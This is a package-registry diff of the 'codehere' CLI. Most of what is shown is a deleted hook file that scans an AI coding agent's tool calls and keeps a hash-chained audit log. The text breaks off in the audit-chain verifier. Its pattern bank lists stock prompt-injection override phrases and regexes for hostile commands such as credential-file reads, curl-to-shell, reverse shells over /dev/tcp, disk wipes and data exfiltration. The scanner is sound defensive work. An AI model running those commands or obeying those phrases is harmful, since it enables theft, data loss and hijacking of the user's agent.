codehere 0.8.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (119) hide show
  1. package/README.md +37 -184
  2. package/dist/application/use-cases/check-claimed-tests.js +81 -0
  3. package/dist/application/use-cases/detect-test-weakening.js +237 -0
  4. package/dist/application/use-cases/rerun-tests.js +329 -0
  5. package/dist/index.js +74 -1004
  6. package/dist/infrastructure/orchestration/artifacts-extractor.js +2 -265
  7. package/dist/presentation/cli/commands/check-command.js +251 -0
  8. package/dist/presentation/cli/commands/help-command.js +22 -286
  9. package/dist/ui.js +19 -438
  10. package/dist/utils/version.js +0 -12
  11. package/package.json +18 -27
  12. package/dist/application/use-cases/domain-trust.js +0 -110
  13. package/dist/application/use-cases/generate-final-report.js +0 -134
  14. package/dist/application/use-cases/generate-narration.js +0 -128
  15. package/dist/application/use-cases/generate-thread-title.js +0 -178
  16. package/dist/application/use-cases/narrator-prompt-template.js +0 -158
  17. package/dist/application/use-cases/thread-export.js +0 -155
  18. package/dist/application/use-cases/verify-claim.js +0 -274
  19. package/dist/application/use-cases/write-pass.js +0 -277
  20. package/dist/domain/entities/task.js +0 -61
  21. package/dist/domain/services/codebase-detector.js +0 -91
  22. package/dist/error-handler.js +0 -251
  23. package/dist/infrastructure/completion/bash-completion.js +0 -25
  24. package/dist/infrastructure/completion/fish-completion.js +0 -22
  25. package/dist/infrastructure/completion/zsh-completion.js +0 -30
  26. package/dist/infrastructure/config/config-manager.js +0 -173
  27. package/dist/infrastructure/config/product-context.js +0 -67
  28. package/dist/infrastructure/context/adapters/drawio-source.js +0 -157
  29. package/dist/infrastructure/context/adapters/figma-source.js +0 -163
  30. package/dist/infrastructure/context/adapters/github-issue-source.js +0 -159
  31. package/dist/infrastructure/context/adapters/linear-source.js +0 -190
  32. package/dist/infrastructure/context/context-resolver.js +0 -144
  33. package/dist/infrastructure/context/context-source.js +0 -114
  34. package/dist/infrastructure/context/oauth-flow.js +0 -207
  35. package/dist/infrastructure/context/oauth-store.js +0 -119
  36. package/dist/infrastructure/context/registry-bootstrap.js +0 -99
  37. package/dist/infrastructure/context/write-pass-resolver.js +0 -106
  38. package/dist/infrastructure/cost/budget-config.js +0 -113
  39. package/dist/infrastructure/cost/cost-router.js +0 -104
  40. package/dist/infrastructure/cost/spend-aggregator.js +0 -147
  41. package/dist/infrastructure/hooks/claude-sdk-hook.js +0 -888
  42. package/dist/infrastructure/hooks/hook-mode.js +0 -71
  43. package/dist/infrastructure/hooks/mirror-tool-call-to-audit.js +0 -43
  44. package/dist/infrastructure/hooks/pre-prompt-scan.js +0 -122
  45. package/dist/infrastructure/hooks/session-analyzer.js +0 -177
  46. package/dist/infrastructure/observability/execution-tracer.js +0 -227
  47. package/dist/infrastructure/orchestration/agent-adapter.js +0 -13
  48. package/dist/infrastructure/orchestration/agent-installer.js +0 -101
  49. package/dist/infrastructure/orchestration/agents-config-seed.js +0 -56
  50. package/dist/infrastructure/orchestration/aider-adapter.js +0 -447
  51. package/dist/infrastructure/orchestration/cassette-recorder.js +0 -120
  52. package/dist/infrastructure/orchestration/claude-code-adapter.js +0 -478
  53. package/dist/infrastructure/orchestration/codex-adapter.js +0 -538
  54. package/dist/infrastructure/orchestration/conductor-adapter.js +0 -377
  55. package/dist/infrastructure/orchestration/context-handoff.js +0 -144
  56. package/dist/infrastructure/orchestration/control/codex-control-surface.js +0 -99
  57. package/dist/infrastructure/orchestration/control/control-surface.js +0 -15
  58. package/dist/infrastructure/orchestration/failover-classifier.js +0 -151
  59. package/dist/infrastructure/orchestration/failover-config.js +0 -77
  60. package/dist/infrastructure/orchestration/failover-policy.js +0 -106
  61. package/dist/infrastructure/orchestration/gemini-adapter.js +0 -583
  62. package/dist/infrastructure/orchestration/generic-cli-adapter.js +0 -558
  63. package/dist/infrastructure/orchestration/graphify-context.js +0 -254
  64. package/dist/infrastructure/orchestration/memory-injector.js +0 -380
  65. package/dist/infrastructure/orchestration/mocks/mock-agent-repl.js +0 -233
  66. package/dist/infrastructure/orchestration/mocks/mock-codex-app-server.js +0 -73
  67. package/dist/infrastructure/orchestration/mocks/mock-synthesis.js +0 -83
  68. package/dist/infrastructure/orchestration/mocks/resolve-agent-spawn.js +0 -37
  69. package/dist/infrastructure/orchestration/opencode-adapter.js +0 -510
  70. package/dist/infrastructure/orchestration/progress-aggregator.js +0 -689
  71. package/dist/infrastructure/orchestration/readiness.js +0 -103
  72. package/dist/infrastructure/orchestration/session-manager.js +0 -1091
  73. package/dist/infrastructure/orchestration/session-persistence.js +0 -258
  74. package/dist/infrastructure/orchestration/thread-key-store.js +0 -127
  75. package/dist/infrastructure/orchestration/write-pass-store.js +0 -46
  76. package/dist/infrastructure/protocols/cloud-sync.js +0 -207
  77. package/dist/infrastructure/protocols/mcp-helpers.js +0 -25
  78. package/dist/infrastructure/protocols/mcp-server-impl.js +0 -2853
  79. package/dist/infrastructure/protocols/probe-port.js +0 -36
  80. package/dist/infrastructure/protocols/thread-phase.js +0 -105
  81. package/dist/infrastructure/protocols/ui-page-v2.js +0 -4418
  82. package/dist/infrastructure/protocols/ui-page.js +0 -2377
  83. package/dist/infrastructure/protocols/verify-page.js +0 -983
  84. package/dist/infrastructure/security/file-collection.js +0 -118
  85. package/dist/infrastructure/security/input-validator.js +0 -152
  86. package/dist/infrastructure/security/permissions-config.js +0 -234
  87. package/dist/infrastructure/security/trust-scorer.js +0 -657
  88. package/dist/infrastructure/storage/cross-tool-agents.js +0 -268
  89. package/dist/infrastructure/storage/embeddings-path.js +0 -37
  90. package/dist/infrastructure/storage/project-thread-migration.js +0 -237
  91. package/dist/infrastructure/storage/project-thread-mirror.js +0 -524
  92. package/dist/infrastructure/storage/project-thread-reader.js +0 -172
  93. package/dist/infrastructure/storage/project-thread-title-backfill.js +0 -214
  94. package/dist/infrastructure/storage/task-repository.js +0 -206
  95. package/dist/monitoring.js +0 -212
  96. package/dist/presentation/cli/commands/audit-command.js +0 -126
  97. package/dist/presentation/cli/commands/budget-command.js +0 -79
  98. package/dist/presentation/cli/commands/config-command.js +0 -125
  99. package/dist/presentation/cli/commands/context-source-command.js +0 -198
  100. package/dist/presentation/cli/commands/hook-command.js +0 -265
  101. package/dist/presentation/cli/commands/init-command.js +0 -578
  102. package/dist/presentation/cli/commands/memory-command.js +0 -1031
  103. package/dist/presentation/cli/commands/narrator-command.js +0 -101
  104. package/dist/presentation/cli/commands/permission-command.js +0 -116
  105. package/dist/presentation/cli/commands/protocols-builder.js +0 -254
  106. package/dist/presentation/cli/commands/protocols-command.js +0 -84
  107. package/dist/presentation/cli/commands/repo-map-builder.js +0 -247
  108. package/dist/presentation/cli/commands/report-command.js +0 -387
  109. package/dist/presentation/cli/commands/scan-tool-command.js +0 -94
  110. package/dist/presentation/cli/commands/setup-command.js +0 -307
  111. package/dist/presentation/cli/commands/status-command.js +0 -661
  112. package/dist/presentation/cli/commands/thread-command.js +0 -288
  113. package/dist/presentation/cli/commands/trust-command.js +0 -306
  114. package/dist/presentation/cli/commands/verify-command.js +0 -233
  115. package/dist/presentation/cli/error-display.js +0 -336
  116. package/dist/presentation/cli/repl.js +0 -797
  117. package/dist/presentation/cli/task-deliverable.js +0 -127
  118. package/dist/testing/cassette.js +0 -125
  119. package/dist/testing/replay-adapter.js +0 -166
@@ -1,888 +0,0 @@
1
- /**
2
- * Claude Agent SDK Hook Handler
3
- *
4
- * Intercepts every Claude Code tool call via PreToolUse/PostToolUse hooks.
5
- * Runs Layer 0 security scan (local, no API, <50ms) before any tool executes.
6
- *
7
- * Claude Code hook contract:
8
- * - stdin: JSON event { session_id, hook_event_name, tool_name, tool_input }
9
- * - stdout: optional JSON { decision: 'block'|'approve', reason?: string, suppressOutput?: boolean }
10
- * - stderr: human-readable messages shown to user
11
- * - exit 0: allow (default)
12
- * - exit non-0: block with stderr shown to user
13
- *
14
- * Docs: https://docs.anthropic.com/en/docs/claude-code/hooks
15
- */
16
- import { appendFileSync, chmodSync, existsSync, mkdirSync, openSync, closeSync, readFileSync, readSync, statSync, unlinkSync, } from 'fs';
17
- import { join } from 'path';
18
- import { homedir } from 'os';
19
- import { createHash } from 'crypto';
20
- // P18 slice 2 — Tier 1 hook honors per-cwd permissions.yaml.
21
- import { filterAllowed } from '../security/permissions-config.js';
22
- /**
23
- * Instruction-level scan pattern bank used by `scanPayload()`. Exported so
24
- * docs and the landing page can quote `PATTERNS.length` instead of hardcoding
25
- * a number that silently drifts (May 2026 audit found 50 / 47 / 60+ all in
26
- * the same PRD). Pair this with `CODE_PATTERNS` from `trust-scorer.ts` — the
27
- * two banks are scanned in different passes and counted separately.
28
- */
29
- export const PATTERNS = [
30
- // Prompt Injection
31
- // Allow chained modifiers: "ignore all previous instructions", "ignore all your prior rules", etc.
32
- {
33
- regex: /ignore\s+(?:(?:previous|prior|above|all|your|the)\s+){1,4}(?:instructions?|rules?|prompts?|guidelines?)/i,
34
- severity: 'critical',
35
- category: 'Prompt Injection',
36
- description: 'Attempts to override system instructions',
37
- },
38
- {
39
- regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i,
40
- severity: 'critical',
41
- category: 'Prompt Injection',
42
- description: 'Disregard instruction override',
43
- },
44
- {
45
- regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i,
46
- severity: 'critical',
47
- category: 'Prompt Injection',
48
- description: 'Context clearing attempt',
49
- },
50
- {
51
- regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i,
52
- severity: 'critical',
53
- category: 'Prompt Injection',
54
- description: 'Role hijacking attempt',
55
- },
56
- {
57
- regex: /\bsystem\s+prompt\b|<\/?system>|(?<!['"\\])<\/?instruction>/i,
58
- severity: 'critical',
59
- category: 'Prompt Injection',
60
- description: 'System prompt injection',
61
- },
62
- {
63
- regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i,
64
- severity: 'critical',
65
- category: 'Prompt Injection',
66
- description: 'Instruction override attempt',
67
- },
68
- {
69
- regex: /\bjailbreak\b|\bDAN\s+mode\b|\bdeveloper\s+mode\s+enabled\b/i,
70
- severity: 'critical',
71
- category: 'Prompt Injection',
72
- description: 'Jailbreak attempt',
73
- },
74
- {
75
- regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i,
76
- severity: 'critical',
77
- category: 'Prompt Injection',
78
- description: 'Safety bypass attempt',
79
- },
80
- {
81
- regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i,
82
- severity: 'high',
83
- category: 'Prompt Injection',
84
- description: 'Prompt template injection',
85
- },
86
- {
87
- regex: /override\s+(safety|security|policy|restrictions?)/i,
88
- severity: 'critical',
89
- category: 'Prompt Injection',
90
- description: 'Policy override attempt',
91
- },
92
- // Credential Theft
93
- {
94
- regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i,
95
- severity: 'critical',
96
- category: 'Credential Theft',
97
- description: 'Reads credential files',
98
- },
99
- {
100
- regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i,
101
- severity: 'critical',
102
- category: 'Credential Theft',
103
- description: 'Exfiltrates env secrets',
104
- },
105
- {
106
- regex: /\bprintenv\b|\benv\s*\|\s*(grep|curl|wget|nc)\b/i,
107
- severity: 'high',
108
- category: 'Credential Theft',
109
- description: 'Environment variable exfiltration',
110
- },
111
- {
112
- regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i,
113
- severity: 'critical',
114
- category: 'Credential Theft',
115
- description: 'API key exfiltration via curl',
116
- },
117
- // Reading SSH private keys is never benign in dev workflow — promote to critical.
118
- // ssh-keygen alone (key generation) stays 'high' since it's also a legitimate setup operation.
119
- {
120
- regex: /cat\s+~?\/?\.ssh\/(id_rsa|id_ed25519|id_ecdsa|id_dsa)\b/i,
121
- severity: 'critical',
122
- category: 'Credential Theft',
123
- description: 'Reads SSH private key',
124
- },
125
- {
126
- regex: /ssh-keygen|cat\s+~?\/?\.ssh\/authorized_keys/i,
127
- severity: 'high',
128
- category: 'Credential Theft',
129
- description: 'SSH key tooling access',
130
- },
131
- {
132
- regex: /\bkeychain\b|\bsecurity\s+find-generic-password\b/i,
133
- severity: 'high',
134
- category: 'Credential Theft',
135
- description: 'macOS keychain access attempt',
136
- },
137
- {
138
- regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i,
139
- severity: 'high',
140
- category: 'Credential Theft',
141
- description: 'Known API key reference',
142
- },
143
- {
144
- regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i,
145
- severity: 'medium',
146
- category: 'Credential Theft',
147
- description: 'Secret key reference',
148
- },
149
- {
150
- regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i,
151
- severity: 'critical',
152
- category: 'Credential Theft',
153
- description: 'Credential webhook exfiltration',
154
- },
155
- {
156
- regex: /\/proc\/\d+\/environ|\/etc\/shadow/i,
157
- severity: 'critical',
158
- category: 'Credential Theft',
159
- description: 'System credential file access',
160
- },
161
- // Destructive Operations
162
- // Block rm -rf against system roots or a user's whole home — but allow
163
- // routine deletion under /tmp, ~/Library/Caches, node_modules, etc.
164
- // Previous pattern included bare `\/` which matched any path starting
165
- // with `/` (so `rm -rf /tmp/foo` was blocked). The alternatives below
166
- // require an explicit system target or a bare home reference.
167
- {
168
- regex: /rm\s+-rf?\s+(?:\/(?:["'\s]|$|\*)|\/(?:home|etc|var|usr|bin|sbin|System|Library|opt|root|boot|dev)\b|~(?:["'\s]|$|\/(?:["'\s]|$|\*))|\$HOME(?:["'\s]|$|\/(?:["'\s]|$|\*))|\.\.(?:["'\s]|$))/im,
169
- severity: 'critical',
170
- category: 'Destructive',
171
- description: 'Recursive deletion of system/home directories',
172
- },
173
- {
174
- regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i,
175
- severity: 'critical',
176
- category: 'Destructive',
177
- description: 'Mass file deletion',
178
- },
179
- {
180
- regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i,
181
- severity: 'critical',
182
- category: 'Destructive',
183
- description: 'Raw disk write attempt',
184
- },
185
- {
186
- regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i,
187
- severity: 'critical',
188
- category: 'Destructive',
189
- description: 'Database destruction',
190
- },
191
- // Force-push or hard reset against main/master/production is irreversible loss of shared history — critical.
192
- // Force-push to other branches stays 'high' since rebase-and-force-push to feature branches is routine.
193
- {
194
- regex: /git\s+(?:push\s+(?:--force|-f)|reset\s+--hard)\s+\S*origin\s+(main|master|production|release|prod)\b/i,
195
- severity: 'critical',
196
- category: 'Destructive',
197
- description: 'Force push or hard reset to a protected branch',
198
- },
199
- {
200
- regex: /git\s+(push\s+(?:--force|-f)|reset\s+--hard)\s+origin/i,
201
- severity: 'high',
202
- category: 'Destructive',
203
- description: 'Force push or hard reset to remote',
204
- },
205
- {
206
- regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i,
207
- severity: 'high',
208
- category: 'Destructive',
209
- description: 'System shutdown/reboot',
210
- },
211
- {
212
- regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i,
213
- severity: 'medium',
214
- category: 'Destructive',
215
- description: 'Process mass termination',
216
- },
217
- {
218
- regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i,
219
- severity: 'high',
220
- category: 'Destructive',
221
- description: 'Scheduled destruction',
222
- },
223
- // Code/Command Injection
224
- // NOTE: patterns match execution intent, not grep/search of these strings.
225
- // A command starting with "grep", "rg", "ag", or "find" is a search, not execution —
226
- // those are pre-filtered in buildScanPayload before patterns run.
227
- {
228
- regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i,
229
- severity: 'critical',
230
- category: 'Code Injection',
231
- description: 'Remote script piped directly to shell',
232
- },
233
- {
234
- regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i,
235
- severity: 'critical',
236
- category: 'Code Injection',
237
- description: 'Remote code execution via wget',
238
- },
239
- {
240
- regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i,
241
- severity: 'critical',
242
- category: 'Code Injection',
243
- description: 'Inline node eval execution',
244
- },
245
- {
246
- regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i,
247
- severity: 'critical',
248
- category: 'Code Injection',
249
- description: 'eval() with external or env input',
250
- },
251
- {
252
- regex: /exec\s*\(\s*['"]\s*system/i,
253
- severity: 'critical',
254
- category: 'Code Injection',
255
- description: 'System shell from code',
256
- },
257
- {
258
- regex: /python\s+-c\s+["']import\s+os;os\.system/i,
259
- severity: 'high',
260
- category: 'Code Injection',
261
- description: 'Python shell injection',
262
- },
263
- // Reverse shell forms:
264
- // nc -e /bin/bash 1.2.3.4 4444 (binary between -e and IP)
265
- // nc -e 1.2.3.4 4444 (IP directly after -e)
266
- // bash -i >& /dev/tcp/host/port (bash builtin)
267
- {
268
- regex: /nc\s+-[eln]+(?:\s+\S+)?\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i,
269
- severity: 'critical',
270
- category: 'Code Injection',
271
- description: 'Reverse shell attempt',
272
- },
273
- {
274
- regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i,
275
- severity: 'critical',
276
- category: 'Code Injection',
277
- description: 'Base64-encoded code execution',
278
- },
279
- {
280
- regex: /\$\(curl|subprocess\.run\(['"]curl/i,
281
- severity: 'high',
282
- category: 'Code Injection',
283
- description: 'Command substitution with curl',
284
- },
285
- // Supply Chain
286
- {
287
- regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i,
288
- severity: 'high',
289
- category: 'Supply Chain',
290
- description: 'Suspicious package version pattern',
291
- },
292
- {
293
- regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i,
294
- severity: 'high',
295
- category: 'Supply Chain',
296
- description: 'Typosquatting package pattern',
297
- },
298
- {
299
- regex: /preinstall|postinstall|prepare/i,
300
- severity: 'medium',
301
- category: 'Supply Chain',
302
- description: 'Lifecycle script reference',
303
- },
304
- {
305
- regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i,
306
- severity: 'critical',
307
- category: 'Supply Chain',
308
- description: 'Direct npm tarball execution',
309
- },
310
- // OWASP / Security Misconfig
311
- {
312
- regex: /Access-Control-Allow-Origin:\s*\*/i,
313
- severity: 'medium',
314
- category: 'OWASP',
315
- description: 'Wildcard CORS header',
316
- },
317
- {
318
- regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i,
319
- severity: 'high',
320
- category: 'OWASP',
321
- description: 'SSL certificate verification disabled',
322
- },
323
- {
324
- regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i,
325
- severity: 'medium',
326
- category: 'OWASP',
327
- description: 'Hardcoded credential',
328
- },
329
- {
330
- regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i,
331
- severity: 'high',
332
- category: 'OWASP',
333
- description: 'Potential XSS via user input',
334
- },
335
- {
336
- regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i,
337
- severity: 'critical',
338
- category: 'OWASP',
339
- description: 'SQL injection pattern',
340
- },
341
- // Data Exfiltration
342
- {
343
- regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i,
344
- severity: 'high',
345
- category: 'Data Exfiltration',
346
- description: 'File upload via curl',
347
- },
348
- {
349
- regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i,
350
- severity: 'high',
351
- category: 'Data Exfiltration',
352
- description: 'SCP to external IP',
353
- },
354
- {
355
- regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i,
356
- severity: 'medium',
357
- category: 'Data Exfiltration',
358
- description: 'Mass file sync to remote',
359
- },
360
- ];
361
- // ── Risk scoring ────────────────────────────────────────────────────────────
362
- const SEVERITY_SCORES = {
363
- critical: 40,
364
- high: 20,
365
- medium: 10,
366
- low: 5,
367
- };
368
- /**
369
- * Scans a text payload against all Layer 0 patterns.
370
- * Returns findings and a 0-100 risk score.
371
- * Average run time: < 5ms on a modern CPU.
372
- */
373
- export function scanPayload(text) {
374
- const findings = [];
375
- for (const pattern of PATTERNS) {
376
- const match = text.match(pattern.regex);
377
- if (match) {
378
- findings.push({
379
- severity: pattern.severity,
380
- category: pattern.category,
381
- description: pattern.description,
382
- matched: match[0].substring(0, 120), // truncate for audit log
383
- });
384
- }
385
- }
386
- return findings;
387
- }
388
- export function calculateRiskScore(findings) {
389
- let score = 0;
390
- for (const f of findings) {
391
- score += SEVERITY_SCORES[f.severity] ?? 5;
392
- }
393
- return Math.min(100, score);
394
- }
395
- // ── Audit log ───────────────────────────────────────────────────────────────
396
- /**
397
- * Audit log path — defaults to ~/.codehere/audit/hook-events.jsonl.
398
- * Override at process start with CODEHERE_AUDIT_FILE env var (used by tests, optional for users).
399
- * Honors CODEHERE_HOME like sessions/config/threads — found via the v1 stranger
400
- * walk: an "isolated" daemon (verify-all's :3779, the walk's scratch home) was
401
- * writing mock audit entries into the REAL ~/.codehere/audit while verify-all
402
- * printed "Real ~/.codehere untouched" (the footer showed 162 entries · 51
403
- * agents in a brand-new home — all of them pollution from past mock runs).
404
- */
405
- export const AUDIT_FILE = process.env.CODEHERE_AUDIT_FILE ||
406
- join(process.env.CODEHERE_HOME || homedir(), '.codehere', 'audit', 'hook-events.jsonl');
407
- const GENESIS_PREV_HASH = '0'.repeat(64);
408
- /**
409
- * Canonicalize an audit entry for hashing. We sort keys alphabetically and
410
- * stringify with no whitespace so the hash is reproducible across writers.
411
- * The `entryHash` field is excluded from its own hash input (chicken-and-egg).
412
- */
413
- function canonicalizeForHash(entry) {
414
- const { entryHash: _entryHash, ...rest } = entry;
415
- void _entryHash; // referenced to satisfy lint; the destructure is the point
416
- const keys = Object.keys(rest).sort();
417
- const ordered = {};
418
- for (const k of keys) {
419
- ordered[k] = rest[k];
420
- }
421
- return JSON.stringify(ordered);
422
- }
423
- /** SHA-256 hex of an entry's canonical form (entryHash excluded). */
424
- export function computeEntryHash(entry) {
425
- return createHash('sha256').update(canonicalizeForHash(entry)).digest('hex');
426
- }
427
- /**
428
- * Read the chain tip (seq + entryHash of the last chained entry) from disk.
429
- * Walks BACKWARD from EOF looking for the most recent line that carries
430
- * chain fields. Pre-fix this only checked the last line — if that line was
431
- * legacy (no chain fields), the chain restarted at seq=0 producing a fake
432
- * hash_mismatch in verifyAuditChain. Walking backward keeps the chain
433
- * continuous across legacy-entry interleavings (rare but possible when
434
- * an out-of-band script appends raw JSON to the audit file).
435
- */
436
- /**
437
- * The actual backward-walk: most recent line carrying chain fields wins.
438
- * Pure over a set of lines so both the bounded and full readers share it.
439
- */
440
- export function tipFromLines(lines) {
441
- for (let i = lines.length - 1; i >= 0; i--) {
442
- const raw = lines[i];
443
- if (!raw.trim())
444
- continue;
445
- try {
446
- const entry = JSON.parse(raw);
447
- if (typeof entry.seq === 'number' && typeof entry.entryHash === 'string') {
448
- return { seq: entry.seq, hash: entry.entryHash };
449
- }
450
- // Legacy entry — keep walking backward
451
- }
452
- catch {
453
- // Parse failure — skip and continue
454
- }
455
- }
456
- return null;
457
- }
458
- function readChainTipFull(filepath) {
459
- let content;
460
- try {
461
- content = readFileSync(filepath, 'utf-8');
462
- }
463
- catch {
464
- return null;
465
- }
466
- return tipFromLines(content.split('\n'));
467
- }
468
- /**
469
- * Read the chain tip (seq + entryHash of the last chained entry) from disk.
470
- *
471
- * Hot path: appendAuditLog calls this on every tool call to compute the next
472
- * seq/prevHash. Reading the whole file each time is O(filesize), and the audit
473
- * log grows unbounded (one line per tool call), so a heavy user eventually
474
- * pays a multi-MB read on every call — enough to blow the <50ms hook budget.
475
- *
476
- * So we read only the last `tailBytes` and run the SAME backward-walk on that
477
- * window. The window starts mid-file, so its first line is probably truncated
478
- * — we drop it (dropping the OLDEST line in the window never changes the most
479
- * recent chain entry, which is what we return). If the window holds no chain
480
- * entry (e.g. a long run of legacy entries, or the only entry was the dropped
481
- * partial line), we fall back to a full read. The bounded read is therefore a
482
- * pure optimization: it can never return a different tip than the full read,
483
- * only reach it faster. Proven by the property test in
484
- * test/unit/chain-tip-bounded.test.ts.
485
- */
486
- export function readChainTip(filepath, tailBytes = 65536) {
487
- if (!existsSync(filepath))
488
- return null;
489
- let size;
490
- try {
491
- size = statSync(filepath).size;
492
- }
493
- catch {
494
- return null;
495
- }
496
- if (size === 0)
497
- return null;
498
- if (size <= tailBytes)
499
- return readChainTipFull(filepath);
500
- // Bounded tail read: last `tailBytes` ending at EOF (so the final line is
501
- // never truncated; only the first line in the window may be).
502
- let fd;
503
- try {
504
- fd = openSync(filepath, 'r');
505
- const buf = Buffer.alloc(tailBytes);
506
- const bytesRead = readSync(fd, buf, 0, tailBytes, size - tailBytes);
507
- const lines = buf.toString('utf-8', 0, bytesRead).split('\n');
508
- lines.shift(); // drop the possibly-truncated first line
509
- const tip = tipFromLines(lines);
510
- if (tip)
511
- return tip;
512
- }
513
- catch {
514
- // fall through to the full read
515
- }
516
- finally {
517
- if (fd !== undefined)
518
- closeSync(fd);
519
- }
520
- // Pathological: no chain entry in the tail window. Pay the full read.
521
- return readChainTipFull(filepath);
522
- }
523
- export function appendAuditLog(entry) {
524
- // Cross-process file locking. Multiple Claude Code sessions (e.g., two
525
- // terminals, or IDE + terminal) can trigger PreToolUse concurrently.
526
- // Without a lock, two hook processes read the same chain tip and both
527
- // write seq 43 — corrupting the hash chain. We use an exclusive-create
528
- // lock file (+O_EXCL) which is atomic on all POSIX systems.
529
- const LOCK_FILE = AUDIT_FILE + '.lock';
530
- const lockAcquired = () => {
531
- for (let attempt = 0; attempt < 20; attempt++) {
532
- try {
533
- const fd = openSync(LOCK_FILE, 'wx');
534
- closeSync(fd);
535
- return true;
536
- }
537
- catch {
538
- // Lock held by another process — spin-wait ~10ms
539
- const deadline = Date.now() + 10;
540
- while (Date.now() < deadline) {
541
- /* busy-wait — sync context */
542
- }
543
- }
544
- }
545
- return false;
546
- };
547
- const lockReleased = () => {
548
- try {
549
- unlinkSync(LOCK_FILE);
550
- }
551
- catch {
552
- /* best effort */
553
- }
554
- };
555
- if (!lockAcquired()) {
556
- // Fall through unlocked rather than drop the entry. The entry still
557
- // appends; verification may flag a chain break, but the audit data
558
- // is preserved.
559
- }
560
- try {
561
- const dir = AUDIT_FILE.substring(0, AUDIT_FILE.lastIndexOf('/'));
562
- if (dir && !existsSync(dir)) {
563
- // mode 0o700 — owner-only directory. The audit log records every tool call
564
- // including bash commands and file paths; on multi-user systems a default
565
- // 0o755 dir would let other users walk in and read the file. Surfaced by
566
- // the May 1 2026 /cso security audit (Finding #1, MEDIUM).
567
- mkdirSync(dir, { recursive: true, mode: 0o700 });
568
- }
569
- // Compute chain fields. Read tip from file (cheap tail read). If no chain
570
- // exists (fresh file, or last line is pre-chain legacy), start at genesis.
571
- const tip = readChainTip(AUDIT_FILE);
572
- const seq = tip ? tip.seq + 1 : 0;
573
- const prevHash = tip ? tip.hash : GENESIS_PREV_HASH;
574
- const chainedEntry = { ...entry, seq, prevHash };
575
- chainedEntry.entryHash = computeEntryHash(chainedEntry);
576
- // mode 0o600 — owner-only file. Same reasoning as the dir above. Only takes
577
- // effect on first write (file creation); existing files are chmod'd below
578
- // for backwards compatibility with audit logs created before this fix.
579
- appendFileSync(AUDIT_FILE, JSON.stringify(chainedEntry) + '\n', { mode: 0o600 });
580
- // Idempotent: if the file existed pre-fix with 0o644, tighten it now. The
581
- // chmod is cheap and silent on already-0o600 files.
582
- try {
583
- chmodSync(AUDIT_FILE, 0o600);
584
- }
585
- catch {
586
- /* fall through — chmod failure shouldn't block the audit append */
587
- }
588
- }
589
- catch {
590
- // Audit log failure must not block tool execution
591
- }
592
- finally {
593
- lockReleased();
594
- }
595
- }
596
- /**
597
- * Walk the audit file and verify the hash chain. Returns:
598
- * - valid: true iff every chained entry's prevHash matches predecessor's
599
- * entryHash, and every entry's entryHash matches recomputed value
600
- * - totalEntries / chainedEntries / legacyEntries: line counts
601
- * - errors: every detected break (verifier doesn't stop at first failure;
602
- * reporter shows ALL tampering points so a forensic reviewer can
603
- * see the full picture)
604
- *
605
- * Legacy preamble: pre-2026-05-06 entries (no seq/prevHash/entryHash) are
606
- * counted as legacyEntries and skipped. The chain starts at the FIRST entry
607
- * with seq=0 — every subsequent chained entry must continue from there.
608
- */
609
- export function verifyAuditChain(filepath = AUDIT_FILE) {
610
- const result = {
611
- valid: true,
612
- totalEntries: 0,
613
- chainedEntries: 0,
614
- legacyEntries: 0,
615
- errors: [],
616
- };
617
- if (!existsSync(filepath))
618
- return result;
619
- let content;
620
- try {
621
- content = readFileSync(filepath, 'utf-8');
622
- }
623
- catch {
624
- return result;
625
- }
626
- const lines = content.split('\n');
627
- let prevHash = null; // null until we hit the first chained entry
628
- let prevSeq = null;
629
- for (let i = 0; i < lines.length; i++) {
630
- const raw = lines[i];
631
- if (!raw.trim())
632
- continue;
633
- const lineNumber = i + 1;
634
- result.totalEntries++;
635
- let entry;
636
- try {
637
- entry = JSON.parse(raw);
638
- }
639
- catch {
640
- result.valid = false;
641
